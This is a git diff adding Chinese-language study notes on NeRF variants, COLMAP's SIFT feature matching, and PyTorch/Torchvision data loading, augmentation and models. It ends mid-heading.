2.GIRAFFE + +GIRAFFE 是 GRAF 的改进工作,可以把图片中的物品,背景一个个解耦出来单独进行改变或者移动和旋转,也可以增加新的物品或者减少物品,下图中蓝色是不可训练的模块,橙色可训练。以我的理解好像要设置你要解耦多少个(N)物品再训练,网络根据类似 k 近邻法的方法在特征空间上对物品进行分割解耦,然后分为 N 个渲染 mlp 进行训练,训练前加入外观/形状编码 z。最后还是要扔进 D 训练。 + +![](static/boxcnB04hwHA1o64WBvYSyVTDod.png) + +![](static/boxcnC2bKVHOANjGOePLHk7jfZe.png) + +### 3.OSF + +OSFObject-Centric Neural Scene Rendering,可以给移动的物体生成合理的阴影和光照效果。加入了新的坐标信息:光源位置,与相机坐标等一起输入。对每个小物件构建一个单独的小 nerf,计算这个小 nerf 的体素时要先经过光源照射处理(训练出来的)然后在每个小物件之间也要计算反射这样的光线影响,最后进行正常的渲染。这篇文章没人写 review,有点冷门,这些都是我自己读完感觉的,不一定对。 + +![](static/boxcnV7YcKIq5y8TkOGEGzrPc5g.png) + +### 4.Hyper-nerf-gan + +使用了超网络与 nerf-gan 结合,这篇比较新没有 review,是我自己理解的,可能有出入。 + +作者用了几个我比较陌生的技术,比如超网络 hypernet,还有超网络与 gan 结合的 INR-Gan。 + +hypernet:把随机初始化和直接梯度回传更新的网络参数用另一个神经网络来更新,就是我们要同时训练两个网络,一个是本体,一个是调整参数用的超网络。 + +INR-Gan:把超网络技术与 Gan 结合,并且用了 INR 技术,这个技术类似 nerf,不过是处理图片用到的,是构建一个坐标(x,y)->RGB 的网络,可以让图片达到更高分辨率,也就是把离散的像素变成连续的。 + +左边是常规卷积网络生成图像,右边是用 INR 生成图像。 + +![](static/boxcnGCCZ8qXD1Hhc531NxfLzLd.png) + +这种方法存在两个问题: + +1.因为 INR 其实是一种超网络,也就是说我们要训练两个网络,但是只存在一个监督。使得网络训练更难。 + +2.因为使用神经网路去表示图片,占用内存更大。 + +因此,作者设计了FMM去应对这两个问题,这也是 Hyper-nerf-gan 借鉴的主要部分。 + +FMM 主要是把要学习的矩阵转化为两个低秩矩阵,去先生成他们俩再相乘,减少网络计算量。 + +![](static/boxcn0oHY54dgL2bxmryxjqxC6f.png) + +现在开始讲 Hyper-nerf-gan 本身,它看上去其实就是 nerf 接在 gan 上。不过有一些变化,比如输入不再包含视角信息,我很怀疑它不能很好表达反光效果。而且抛弃了粗网络细网络的设计,只使用粗网络减少计算量。这里的 generator 完全就是 INR-Gan 的形状,生成权重,然后再经过 nerf 的 mlp 层生成,没啥别的了,就这样吧。 + +![](static/boxcnc9bZ1nqt3Lighlrj9zSrdd.png) diff --git a/4.人工智能/4.6.5.3.3自制数据集的工具COLMAP.md b/4.人工智能/4.6.5.3.3自制数据集的工具COLMAP.md new file mode 100644 index 0000000..d9ea905 --- /dev/null +++ b/4.人工智能/4.6.5.3.3自制数据集的工具COLMAP.md @@ -0,0 +1,64 @@ +# 自制数据集的工具 COLMAP + +如何使用和怎么下载就不讲了,直接搜就有,它可以把多个拍摄同一物体的图片转换为它们对应视角的相机矩阵和拍摄角度,可以实现自制数据集做 nerf。它的流程(SFM 算法)可以概括如下: + +![](static/boxcnXzgaIhmUQ7HQtEn52ksWIf.png) + +这里主要是记录一下它的原理: +首先是一个经典关键点匹配技术:SIFT + +# SIFT 特征点匹配 + +## DOG 金字塔 + +![](static/boxcneERqw4amGHf6f2SX7gcdny.png) + +![](static/boxcnv4dRbGDg9eemcyQFREYs0b.png) + +下面是原理方法: + +首先是高斯金字塔,它是把原图先放大两倍,然后使用高斯滤波(高斯卷积)对图像进行模糊化数次,取出倒数第三层缩小一半继续进行这个过程,也就是说它是由一组一组的小金字塔组成的。 + +![](static/boxcnKJWrCUc5cPOuZg01HqNCsc.png) + +![](static/boxcnd25i5LQ7WjGJEe2xgU3qce.jpg) + +然后是基于高斯金字塔的 DOG 金字塔,也叫差分金字塔,它是把相邻的高斯金字塔层做减法得到的,因为经过高斯模糊,物体的轮廓(或者说不变特征)被模糊化,也就是被改变。通过相减可以得到这些被改变的点。 + +![](static/boxcncKZlnG7F4oEpcrQYqth8kh.jpg) + +![](static/boxcnAEQSDhsLdDsNOQVxqcic5d.jpg) + +## 空间极值点检测 + +为了找到变化的最大的几个点来作为特征点,我们需要找到变化的极值点,因此需要进行比较,这里是在整个金字塔中进行对比,我们提取某个点周边 3*3*3 的像素点进行比较,找到最大或最小的局部极值点。 + +![](static/boxcnl48ovxbqSeTljgF3rp16ue.png) + +同时我们也对关键点分配方向,也就是这个点在图片空间中的梯度方向 + +梯度为: + +![](static/boxcnbQx8TntyX8iETPixOnKjef.png) + +梯度方向为: + +![](static/boxcnfw5FrBxPaD4bNFT4GFyXmd.png) + +我们计算以关键点为中心的邻域内所有点的梯度方向,然后把这些 360 度范围内的方向分配到 36 个每个 10 度的方向中,并构建方向直方图,这里的示例使用了 8 个方向,几个随你其实: + +![](static/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg) + +取其中最大的为主方向,若有一个方向超过主方向的 80%,那么把它作为辅方向。 + +操作可以优化为下图,先把关键点周围的像素分成 4 块,每块求一次上面的操作,以这个 4 个梯度直方图作为关键点的方向描述。也就是一个 2*2*8(方向数量)的矩阵作为这个点的方向特征。 + +![](static/boxcnEvWRhUKcWKAoYKWbN1kAuc.png) + +实验表明,使用 4*4*8=122 的描述更加可靠。 + +![](static/boxcniVb6FvrZziID1B1JFmgVzx.jpg) + +特征点的匹配是通过计算两组特征点的 128 维的关键点的欧式距离实现的。欧式距离越小,则相似度越高,当欧式距离小于设定的阈值时,可以判定为匹配成功。 + +以上是 colmap 的第一步,SIFT diff --git a/4.人工智能/4.6.5.3神经辐射场(NeRF).md b/4.人工智能/4.6.5.3神经辐射场(NeRF).md new file mode 100644 index 0000000..f51c436 --- /dev/null +++ b/4.人工智能/4.6.5.3神经辐射场(NeRF).md @@ -0,0 +1,11 @@ +# 神经辐射场(NeRF) + +> Author:康可均 + +NeRF 是一项用于三维重建的技术,使用深度学习对图片中的物体进行重建。 + +严格来讲,它属于计算机视觉的分支。 + +因为网络上能够找到的教程较少且不连贯,本文不会像 CV 和 NLP 那样简单介绍,而是像对比学习的介绍方式一样,介绍发展历程以及改进工作。 + +不建议直接通过 nerf 了解深度学习,学习之前希望你已有 CV 的基础。 diff --git a/4.人工智能/4.6.5.4.1数据读取.md b/4.人工智能/4.6.5.4.1数据读取.md new file mode 100644 index 0000000..8e9dc81 --- /dev/null +++ b/4.人工智能/4.6.5.4.1数据读取.md @@ -0,0 +1,194 @@ +# 数据读取 + +Torchvision 中默认使用的图像加载器是 PIL,因此为了确保 Torchvision 正常运行,我们还需要安装一个 Python 的第三方图像处理库——Pillow 库。Pillow 提供了广泛的文件格式支持,强大的图像处理能力,主要包括图像储存、图像显示、格式转换以及基本的图像处理操作等。 + +我们先介绍 Torchvision 的常用数据集及其读取方法。 + +PyTorch 为我们提供了一种十分方便的数据读取机制,即使用 Dataset 类与 DataLoader 类的组合,来得到数据迭代器。在训练或预测时,数据迭代器能够输出每一批次所需的数据,并且对数据进行相应的预处理与数据增强操作。 + +下面我们分别来看下 Dataset 类与 DataLoader 类。 + +# Dataset 类 + +PyTorch 中的 Dataset 类是一个抽象类,它可以用来表示数据集。我们通过继承 Dataset 类来自定义数据集的格式、大小和其它属性,后面就可以供 DataLoader 类直接使用。 + +其实这就表示,无论使用自定义的数据集,还是官方为我们封装好的数据集,其本质都是继承了 Dataset 类。而在继承 Dataset 类时,至少需要重写以下几个方法: + +- __init__():构造函数,可自定义数据读取方法以及进行数据预处理; +- __len__():返回数据集大小; +- __getitem__():索引数据集中的某一个数据。 + +下面我们来编写一个简单的例子,看下如何使用 Dataset 类定义一个 Tensor 类型的数据集。 + +``` +import torch +from torch.utils.data import Dataset + +class MyDataset(Dataset): + # 构造函数 + def __init__(self, data_tensor, target_tensor): + self.data_tensor = data_tensor + self.target_tensor = target_tensor + # 返回数据集大小 + def __len__(self): + return self.data_tensor.size(0) + # 返回索引的数据与标签 + def __getitem__(self, index): + return self.data_tensor[index], self.target_tensor[index] + ''' + 我们定义了一个名字为 MyDataset 的数据集,在构造函数中,传入 Tensor 类型的数据与标签; + 在 __len__ 函数中,直接返回 Tensor 的大小;在 __getitem__ 函数中返回索引的数据与标签。 + ''' +``` + +然后我们来看一下如何调用刚才定义的数据集。首先随机生成一个 10*3 维的数据 Tensor,然后生成 10 维的标签 Tensor,与数据 Tensor 相对应。利用这两个 Tensor,生成一个 MyDataset 的对象。查看数据集的大小可以直接用 len() 函数,索引调用数据可以直接使用下标。 + +``` +# 生成数据 +data_tensor = torch.randn(10, 3) +target_tensor = torch.randint(2, (10,)) # 标签是0或1 +# 生成10个随机数,随机数的范围只能是0或者1 + +# 将数据封装成Dataset +my_dataset = MyDataset(data_tensor, target_tensor) + +# 查看数据集大小 +print('Dataset size:', len(my_dataset)) + +# 使用索引调用数据 +print('tensor_data[0]: ', my_dataset[0]) +``` + +# DataLoader 类 + +在实际项目中,如果数据量很大,考虑到内存有限、I/O 速度等问题,在训练过程中不可能一次性的将所有数据全部加载到内存中,也不能只用一个进程去加载,所以就需要多进程、迭代加载,而 DataLoader 就是基于这些需要被设计出来的。 + +DataLoader 是一个迭代器,最基本的使用方法就是传入一个 Dataset 对象,它会根据参数 batch_size 的值生成一个 batch 的数据,节省内存的同时,它还可以实现多进程、数据打乱等处理。 + +DataLoader 类的调用方式如下: + +``` +from torch.utils.data import DataLoader +tensor_dataloader = DataLoader(dataset=my_dataset, # 传入的数据集, 必须参数 + batch_size=2, # 输出的batch大小 + shuffle=True, # 数据是否打乱 + num_workers=0) # 进程数, 0表示只有主进程 + +# 以循环形式输出 +for data, target in tensor_dataloader: + print(data, target) +''' +输出: +tensor([[-0.1781, -1.1019, -0.1507], + [-0.6170, 0.2366, 0.1006]]) tensor([0, 0]) +tensor([[ 0.9451, -0.4923, -1.8178], + [-0.4046, -0.5436, -1.7911]]) tensor([0, 0]) +tensor([[-0.4561, -1.2480, -0.3051], + [-0.9738, 0.9465, 0.4812]]) tensor([1, 0]) +tensor([[ 0.0260, 1.5276, 0.1687], + [ 1.3692, -0.0170, -1.6831]]) tensor([1, 0]) +tensor([[ 0.0515, -0.8892, -0.1699], + [ 0.4931, -0.0697, 0.4171]]) tensor([1, 0]) +''' + +# 输出一个batch(用iter()强制类型转换成迭代器的对象,next()是输出迭代器下一个元素) +print('One batch tensor data: ', iter(tensor_dataloader).next()) +''' +输出: +One batch tensor data: [tensor([[ 0.9451, -0.4923, -1.8178], + [-0.4046, -0.5436, -1.7911]]), tensor([0, 0])] +''' +``` + +结合代码,我们梳理一下 DataLoader 中的几个参数,它们分别表示: + +- dataset:Dataset 类型,输入的数据集,必须参数; +- batch_size:int 类型,每个 batch 有多少个样本; +- shuffle:bool 类型,在每个 epoch 开始的时候,是否对数据进行重新打乱; +- num_workers:int 类型,加载数据的进程数,0 意味着所有的数据都会被加载进主进程,默认为 0。 + +思考题 + +按照上述代码,One batch tensor data 的输出是否正确,若不正确,为什么? + +# 利用 Torchvision 读取数据 + +Torchvision 库中的 torchvision.datasets 包中提供了丰富的图像数据集的接口。常用的图像数据集,例如 MNIST、COCO 等,这个模块都为我们做了相应的封装。 + +下表中列出了 torchvision.datasets 包所有支持的数据集。各个数据集的说明与接口,详见链接 [https://pytorch.org/vision/stable/datasets.html](https://pytorch.org/vision/stable/datasets.html)。 + +![](static/boxcnxvqC7FKt1qeCZoI2kVf9yg.png) + +注意,torchvision.datasets 这个包本身并不包含数据集的文件本身,它的工作方式是先从网络上把数据集下载到用户指定目录,然后再用它的加载器把数据集加载到内存中。最后,把这个加载后的数据集作为对象返回给用户。 + +为了让你进一步加深对知识的理解,我们以 MNIST 数据集为例,来说明一下这个模块具体的使用方法。 + +# MNIST 数据集简介 + +MNIST 数据集是一个著名的手写数字数据集,因为上手简单,在深度学习领域,手写数字识别是一个很经典的学习入门样例。 + +MNIST 数据集是 NIST 数据集的一个子集,MNIST 数据集你可以通过[这里](http://yann.lecun.com/exdb/mnist/)下载。它包含了四个部分。 + +![](static/boxcnCP2Sp932nPy8Il5Z5d4Aih.png) + +MNIST 数据集是 ubyte 格式存储,我们先将“训练集图片”解析成图片格式,来直观地看一看数据集具体是什么样子的。具体怎么解析,我们在后面数据预览再展开。 + +![](static/boxcnjsG31hhjqdxOnoCGFGR6sh.png) + +接下来,我们看一下如何使用 Torchvision 来读取 MNIST 数据集。 + +对于 torchvision.datasets 所支持的所有数据集,它都内置了相应的数据集接口。例如刚才介绍的 MNIST 数据集,torchvision.datasets 就有一个 MNIST 的接口,接口内封装了从下载、解压缩、读取数据、解析数据等全部过程。 + +这些接口的工作方式差不多,都是先从网络上把数据集下载到指定目录,然后再用加载器把数据集加载到内存中,最后将加载后的数据集作为对象返回给用户。 + +以 MNIST 为例,我们可以用如下方式调用: + +``` +# 以MNIST为例 +import torchvision +mnist_dataset = torchvision.datasets.MNIST(root='./data', + train=True, + transform=None, + target_transform=None, + download=True) +``` + +torchvision.datasets.MNIST 是一个类,对它进行实例化,即可返回一个 MNIST 数据集对象。构造函数包括包含 5 个参数: + +- root:是一个字符串,用于指定你想要保存 MNIST 数据集的位置。如果 download 是 Flase,则会从目标位置读取数据集; +- download:布尔类型,表示是否下载数据集。如果为 True,则会自动从网上下载这个数据集,存储到 root 指定的位置。如果指定位置已经存在数据集文件,则不会重复下载; +- train:布尔类型,表示是否加载训练集数据。如果为 True,则只加载训练数据。如果为 False,则只加载测试数据集。这里需要注意,并不是所有的数据集都做了训练集和测试集的划分,这个参数并不一定是有效参数,具体需要参考官方接口说明文档; +- transform:用于对图像进行预处理操作,例如数据增强、归一化、旋转或缩放等。这些操作我们会在下节课展开讲解; +- target_transform:用于对图像标签进行预处理操作。 + +运行上述的代码后,程序会首先去指定的网址下载了 MNIST 数据集,然后进行了解压缩等操作。如果你再次运行相同的代码,则不会再有下载的过程。 + +如果你用 type 函数查看一下 mnist_dataset 的类型,就可以得到 torchvision.datasets.mnist.MNIST ,而这个类是之前我们介绍过的 Dataset 类的派生类。相当于 torchvision.datasets ,它已经帮我们写好了对 Dataset 类的继承,完成了对数据集的封装,我们直接使用即可。 + +这里我们主要以 MNIST 为例,进行了说明。其它的数据集使用方法类似,调用的时候你只要需要将类名“MNIST”换成其它数据集名字即可。 + +# 数据预览 + +完成了数据读取工作,我们得到的是对应的 mnist_dataset,刚才已经讲过了,这是一个封装了的数据集。 + +如果想要查看 mnist_dataset 中的具体内容,我们需要把它转化为列表。(如果 IOPub data rate 超限,可以只加载测试集数据,令 train=False) + +``` +mnist_dataset_list = list(mnist_dataset) +print(mnist_dataset_list) +``` + +转换后的数据集对象变成了一个元组列表,每个元组有两个元素,第一个元素是图像数据,第二个元素是图像的标签。 + +这里图像数据是 PIL.Image.Image 类型的,这种类型可以直接在 Jupyter 中显示出来。显示一条数据的代码如下。 + +``` +display(mnist_dataset_list[0][0]) +print("Image label is:", mnist_dataset_list[0][1]) +``` + +上面介绍了两种读取数据的方法,也就是自定义和读取常用图像数据集。最通用的数据读取方法,就是自己定义一个 Dataset 的派生类。而读取常用的图像数据集,就可以利用 PyTorch 提供的视觉包 Torchvision。 + +极客时间版权所有: [https://time.geekbang.org/column/article/429826](https://time.geekbang.org/column/article/429826) + +(有删改) diff --git a/4.人工智能/4.6.5.4.2数据增强.md b/4.人工智能/4.6.5.4.2数据增强.md new file mode 100644 index 0000000..01f18f2 --- /dev/null +++ b/4.人工智能/4.6.5.4.2数据增强.md @@ -0,0 +1,340 @@ +# 数据增强 + +仅仅将数据集中的图片读取出来是不够的,在训练的过程中,神经网络模型接收的数据类型是 Tensor,而不是 PIL 对象,因此我们还需要对数据进行预处理操作,比如图像格式的转换。 + +我们对一张数据进行裁剪,很明显裁剪前后我们都可以辨认图片中的物体,但是我们的神经网络却没有这个能力。所以我们在训练前可能还需要对图像数据进行一系列图像变换与增强操作,例如裁切边框、调整图像比例和大小、标准化等,对同一张图片进行多种处理并送入神经网络进行训练,以便模型能够更好地学习到数据的特征。而这些操作都可以使用 torchvision.transforms 工具完成。 + +# Torchvision.transforms + +Torchvision 库中的 torchvision.transforms 包中提供了常用的图像操作,包括对 Tensor 及 PIL Image 对象的操作,例如随机切割、旋转、数据类型转换等等。 + +按照 torchvision.transforms 的功能,大致分为以下几类:数据类型转换、对 PIL.Image 和 Tensor 进行变化和变换的组合。 + +## 数据类型转换 + +读取数据集中的图片,读取到的数据是 PIL.Image 的对象。而在模型训练阶段,需要传入 Tensor 类型的数据,神经网络才能进行运算。 + +那么如何将 PIL.Image 或 Numpy.ndarray 格式的数据转化为 Tensor 格式呢?这需要用到 transforms.ToTensor() 类。 + +而反之,将 Tensor 或 Numpy.ndarray 格式的数据转化为 PIL.Image 格式,则使用 transforms.ToPILImage(mode=None) 类。它则是 ToTensor 的一个逆操作,它能把 Tensor 或 Numpy 的数组转换成 PIL.Image 对象。 + +其中,参数 mode 代表 PIL.Image 的模式,如果 mode 为 None(默认值),则根据输入数据的维度进行推断: + +- 输入为 3 通道:mode 为’RGB’; +- 输入为 4 通道:mode 为’RGBA’; +- 输入为 2 通道:mode 为’LA’; +- 输入为单通道:mode 根据输入数据的类型确定具体模式。 + +我们来看一个具体的例子加深理解。将图片进行一下数据类型的相互转换。具体代码如下: + +``` +from PIL import Image +from torchvision import transforms + + + +img = Image.open('tupian.jpg') +display(img) +print(type(img)) # PIL.Image.Image是PIL.JpegImagePlugin.JpegImageFile的基类 +''' +输出: + +''' + +# PIL.Image转换为Tensor +img1 = transforms.ToTensor()(img) +print(type(img1)) +''' +输出: + +''' + +# Tensor转换为PIL.Image +img2 = transforms.ToPILImage()(img1) #PIL.Image.Image +print(type(img2)) +''' +输出: + +''' +``` + +首先用读取图片,查看一下图片的类型为 PIL.JpegImagePlugin.JpegImageFile,这里需要注意,PIL.JpegImagePlugin.JpegImageFile 类是 PIL.Image.Image 类的子类。然后,用 transforms.ToTensor() 将 PIL.Image 转换为 Tensor。最后,再将 Tensor 转换回 PIL.Image。 + +## 对 PIL.Image 和 Tensor 进行变换 + +torchvision.transforms 提供了丰富的图像变换方法,例如:改变尺寸、剪裁、翻转等。并且这些图像变换操作可以接收多种数据格式,不仅可以直接对 PIL 格式的图像进行变换,也可以对 Tensor 进行变换,无需我们再去做额外的数据类型转换。 + +### Resize + +将输入的 PIL Image 或 Tensor 尺寸调整为给定的尺寸,具体定义为: + +``` +torchvision.transforms.Resize(size, interpolation=2) +``` + +- size:期望输出的尺寸。如果 size 是一个像 (h, w) 这样的元组,则图像输出尺寸将与之匹配。如果 size 是一个 int 类型的整数,图像较小的边将被匹配到该整数,另一条边按比例缩放。 +- interpolation:插值算法,我们在这里使其接收一个 int 类型 2,表示 PIL.Image.BILINEAR(双线性插值,感兴趣可以自己单独了解,这个算法的应用比较广泛),但是需要注意的是当该参数接受 int 类型时会出现 warning,这个无需担心,也可以正常使用。 + +有关 Size 中是 tuple 还是 int 这一点请你一定要注意。 + +让我说明一下,在我们训练时,通常要把图片 resize 到一定的大小,比如说 128x128,256x256 这样的。如果直接给定 resize 后的高与宽,是没有问题的。但如果设定的是一个 int 型,较长的边就会按比例缩放。 + +在 resize 之后呢,一般会接一个 crop 操作,crop 到指定的大小。对于高与宽接近的图片来说,这么做问题不大,但是高与宽的差距较大时,就会 crop 掉很多有用的信息。关于这一点,我们在后续的图像分类部分还会遇到,到时我在详细展开。 + +``` +from PIL import Image +from torchvision import transforms + +# 定义一个Resize操作 +resize_img_oper = transforms.Resize((200,200), interpolation=2) + +# 原图 +orig_img = Image.open('tupian.jpg') +display(orig_img) + +# Resize操作后的图 +img = resize_img_oper(orig_img) +display(img) +``` + +首先定义一个 Resize 操作,设置好变换后的尺寸为 (200, 200),然后对图片进行 Resize 变换。 + +### 裁剪 + +torchvision.transforms 提供了多种剪裁方法,例如中心剪裁、随机剪裁、四角和中心剪裁等。我们依次来看下它们的定义。 + +先说中心剪裁,在中心裁剪指定的 PIL Image 或 Tensor,其定义如下: + +``` +torchvision.transforms.CenterCrop(size) +``` + +其中,size 表示期望输出的剪裁尺寸。如果 size 是一个像 (h, w) 这样的元组,则剪裁后的图像尺寸将与之匹配。如果 size 是 int 类型的整数,剪裁出来的图像是 (size, size) 的正方形。 + +然后是随机剪裁,在一个随机位置剪裁指定的 PIL Image 或 Tensor,定义如下: + +``` +torchvision.transforms.RandomCrop(size, padding=None) +``` + +其中,size 代表期望输出的剪裁尺寸,用法同上。而 padding 表示图像的每个边框上的可选填充。默认值是 None,即没有填充。通常来说,不会用 padding 这个参数,至少对于我来说至今没用过。 + +最后要说的是 FiveCrop,我们将给定的 PIL Image 或 Tensor ,分别从四角和中心进行剪裁,共剪裁成五块,定义如下: + +``` +torchvision.transforms.FiveCrop(size) +``` + +size 可以是 int 或 tuple,用法同上。掌握了各种剪裁的定义和参数用法以后,我们来看一下这些剪裁操作具体如何调用,代码如下: + +``` +from PIL import Image +from torchvision import transforms + +# 定义剪裁操作 +center_crop_oper = transforms.CenterCrop((60,70)) +random_crop_oper = transforms.RandomCrop((80,80)) +five_crop_oper = transforms.FiveCrop((60,70)) + +# 原图 +orig_img = Image.open('tupian.jpg') +display(orig_img) + +# 中心剪裁 +img1 = center_crop_oper(orig_img) +display(img1) +# 随机剪裁 +img2 = random_crop_oper(orig_img) +display(img2) +# 四角和中心剪裁 +imgs = five_crop_oper(orig_img) +for img in imgs: + display(img) +``` + +### 翻转 + +接下来,我们来看一看翻转操作。torchvision.transforms 提供了两种翻转操作,分别是:以某一概率随机水平翻转图像和以某一概率随机垂直翻转图像。我们分别来看它们的定义。 + +以概率 p 随机水平翻转图像,定义如下: + +``` +torchvision.transforms.RandomHorizontalFlip(p=0.5) +``` + +以概率 p 随机垂直翻转图像,定义如下: + +``` +torchvision.transforms.RandomVerticalFlip(p=0.5) +``` + +其中,p 表示随机翻转的概率值,默认为 0.5 + +这里的随机翻转,是为数据增强提供方便。如果想要必须执行翻转操作的话,将 p 设置为 1 即可。图片翻转代码如下: + +``` +from PIL import Image +from torchvision import transforms + +# 定义翻转操作 +h_flip_oper = transforms.RandomHorizontalFlip(p=1) +v_flip_oper = transforms.RandomVerticalFlip(p=1) + +# 原图 +orig_img = Image.open('tupian.jpg') +display(orig_img) + +# 水平翻转 +img1 = h_flip_oper(orig_img) +display(img1) +# 垂直翻转 +img2 = v_flip_oper(orig_img) +display(img2) +``` + +### 只对 Tensor 进行变换 + +目前版本的 Torchvision(v0.10.0)对各种图像变换操作已经基本同时支持 PIL Image 和 Tensor 类型了,因此只针对 Tensor 的变换操作很少,只有 4 个,分别是 LinearTransformation(线性变换)、Normalize(标准化)、RandomErasing(随机擦除)、ConvertImageDtype(格式转换)。 + +这里我们重点来看最常用的一个操作:标准化,其他 3 个你可以查阅官方文档。 + +### 标准化 + +标准化是指每一个数据点减去所在通道的平均值,再除以所在通道的标准差,数学的计算公式:output=(input−mean)/std + +而对图像进行标准化,就是对图像的每个通道利用均值和标准差进行正则化。这样做的目的,是为了保证数据集中所有的图像分布都相似,这样在训练的时候更容易收敛,既加快了训练速度,也提高了训练效果。 + +让我来解释一下:首先,标准化是一个常规做法,可以理解为无脑进行标准化后再训练的效果,大概率要好于不进行标准化。 + +如果我们把一张图片上的每个像素点都减去某一数值得到一张新的图片,但在我们眼里他们还是内容一样的两张图片,只是颜色有一些不同。但卷积神经网络是通过图像的像素进行提取特征的,两张图片像素的数值都一样,如何让神经网络认为是一张图片? + +而标准化后的数据就会避免这一问题,标准化后会将数据映射到同一区间中,一个类别的图片虽说有的像素值可能有差异,但是它们分布都是类似的分布。 + +torchvision.transforms 提供了对 Tensor 进行标准化的函数,定义如下: + +``` +torchvision.transforms.Normalize(mean, std, inplace=False) +``` + +其中,每个参数的含义如下所示: + +- mean:表示各通道的均值; +- std:表示各通道的标准差; +- inplace:表示是否原地操作,默认为否。 + +我们来看看以 (R, G, B) 均值和标准差均为 (0.5, 0.5, 0.5) 来标准化图片后,是什么效果: + +``` +from PIL import Image +from torchvision import transforms + +# 定义标准化操作 +norm_oper = transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)) + +# 原图 +orig_img = Image.open('tupian.jpg') +display(orig_img) + +# 图像转化为Tensor +img_tensor = transforms.ToTensor()(orig_img) + +# 标准化 +tensor_norm = norm_oper(img_tensor) + +# Tensor转化为图像 +img_norm = transforms.ToPILImage()(tensor_norm) +display(img_norm) +``` + +我们首先定义了均值和标准差均为 (0.5, 0.5, 0.5) 的标准化操作,然后将原图转化为 Tensor,接着对 Tensor 进行标准化,最后再将 Tensor 转化为图像输出。 + +### 变换的组合 + +其实前面介绍过的所有操作都可以用 Compose 类组合起来,进行连续操作。 + +Compose 类是将多个变换组合到一起,它的定义如下: + +``` +torchvision.transforms.Compose(transforms) +``` + +其中,transforms 是一个 Transform 对象的列表,表示要组合的变换列表。 + +我们还是结合例子动手试试,如果我们想要将图片变为 200*200 像素大小,并且随机裁切成 80 像素的正方形。那么我们可以组合 Resize 和 RandomCrop 变换,具体代码如下所示: + +``` +from PIL import Image +from IPython.display import display +from torchvision import transforms + +# 原图 +orig_img = Image.open('tupian.jpg') +display(orig_img) + +# 定义组合操作 +composed = transforms.Compose([transforms.Resize((200, 200)), + transforms.RandomCrop(80)]) + +# 组合操作后的图 +img = composed(orig_img) +display(img) +``` + +### 结合 datasets 使用 + +Compose 类是未来我们在实际项目中经常要使用到的类,结合 torchvision.datasets 包,就可以在读取数据集的时候做图像变换与数据增强操作。 + +在利用 torchvision.datasets 读取 MNIST 数据集时,有一个参数“transform”,它就是用于对图像进行预处理操作的,例如数据增强、归一化、旋转或缩放等。这里的“transform”就可以接收一个 torchvision.transforms 操作或者由 Compose 类所定义的操作组合。 + +我们在读取 MNIST 数据集时,直接读取出来的图像数据是 PIL.Image.Image 类型的。但是遇到要训练手写数字识别模型这类的情况,模型接收的数据类型是 Tensor,而不是 PIL 对象。这时候,我们就可以利用“transform”参数,使数据在读取的同时做类型转换,这样读取出的数据直接就可以是 Tensor 类型了。 + +不只是数据类型的转换,我们还可以增加归一化等数据增强的操作,只需要使用上面介绍过的 Compose 类进行组合即可。这样,在读取数据的同时,我们也就完成了数据预处理、数据增强等一系列操作。 + +我们还是以读取 MNIST 数据集为例,看下如何在读取数据的同时,完成数据预处理等操作。具体代码如下: + +``` +from torchvision import transforms +from torchvision import datasets + +# 定义一个transform +my_transform = transforms.Compose([transforms.ToTensor(), + transforms.Normalize((0.5), (0.5)) + ]) +# 读取MNIST数据集 同时做数据变换 +mnist_dataset = datasets.MNIST(root='./data', + train=False, + transform=my_transform, + target_transform=None, + download=True) + +# 查看变换后的数据类型 +item = mnist_dataset.__getitem__(0) +print(type(item[0])) +''' +输出: + +''' +``` + +当然,MNIST 数据集非常简单,根本不进行任何处理直接读入的话,效果也非常好,但是它确实适合学习来使用,你可以在利用它进行各种尝试。 + +我们下面先来看看,在图像分类实战中使用的 transform,可以感受一下实际使用的 transforms 是什么样子: + +``` +transform = transforms.Compose([ + transforms.RandomResizedCrop(dest_image_size), + transforms.RandomHorizontalFlip(), + transforms.ToTensor(), + transforms.Normalize(mean=[0.485, 0.456, 0.406], + std=[0.229, 0.224, 0.225])]) +``` + +常用的图像处理操作包括数据类型转换、图像尺寸变化、剪裁、翻转、标准化等等。Compose 类还可以将多个变换操作组合成一个 Transform 对象的列表。 + +torchvision.transforms 与 torchvision.datasets 结合使用,可以在数据加载的同时进行一系列图像变换与数据增强操作,不仅能够直接将数据送入模型训练,还可以加快模型收敛速度,让模型更好地学习到数据特征。 + +当然,我们在实际的项目中会有自己的数据,而不会使用 torchvision.datasets 中提供的公开数据集,我们今天讲的 torchvision.transforms 同样可以在我们自定义的数据集中使用,这里不再详细讲述。 + +极客时间版权所有: [https://time.geekbang.org/column/article/429826](https://time.geekbang.org/column/article/429826) + +(有删改) diff --git a/4.人工智能/4.6.5.4.3其他功能.md b/4.人工智能/4.6.5.4.3其他功能.md new file mode 100644 index 0000000..36ae1f4 --- /dev/null +++ b/4.人工智能/4.6.5.4.3其他功能.md @@ -0,0 +1,190 @@ +# 其他功能 + +Torchvision 除了帮我们封装好了常用的数据集,还为我们提供了深度学习中各种经典的网络结构以及训练好的模型,只要直接将这些经典模型的类实例化出来,就可以进行训练或使用了。我们可以利用这些训练好的模型来实现图片分类、物体检测、视频分类等一系列应用。 + +# 常见网络模型 + +Torchvision 中的各种经典网络结构以及训练好的模型,都放在了 torchvision.models 模块中,下面我们来看一看 torchvision.models 具体为我们提供了什么支持,以及这些功能如何使用。 + +## torchvision.models 模块 + +torchvision.models 模块中包含了常见网络模型结构的定义,这些网络模型可以解决以下四大类问题:图像分类、图像分割、物体检测和视频分类。图像分类、物体检测与图像分割的示意图如下图所示。 + +![](static/boxcnmsqq7VweNAqWlHxdZDAMDf.png) + +图像分类,指的是单纯把一张图片判断为某一类,例如将上图左侧第一张判断为 cat。目标检测则是说,首先检测出物体的位置,还要识别出对应物体的类别。如上图中间的那张图,不仅仅要找到猫、鸭子、狗的位置,还有给出给定物体的类别信息。图里最右侧的例子表示的是分割。分割即是对图像中每一个像素点进行分类,确定每个点的类别,从而进行区域划分。 + +在早期的 Torchvision 版本中,torchvision.models 模块中只包含了图片分类中的一部分网络,例如 AlexNet、VGG 系列、ResNet 系列、Inception 系列等。到了现在,随着深度学习技术的不断发展,人工智能应用更为广泛,torchvision.models 模块中所封装的网络模型也在不断丰富。比如在当前版本(v0.10.0)的 Torchvision 中,新增了图像语义分割、物体检测和视频分类的相关网络,并且在图像分类中也新增了 GoogLeNet、ShuffleNet 以及可以使用于移动端的 MobileNet 系列。这些新模型,都能让我们站在巨人的肩膀上看世界。 + +### 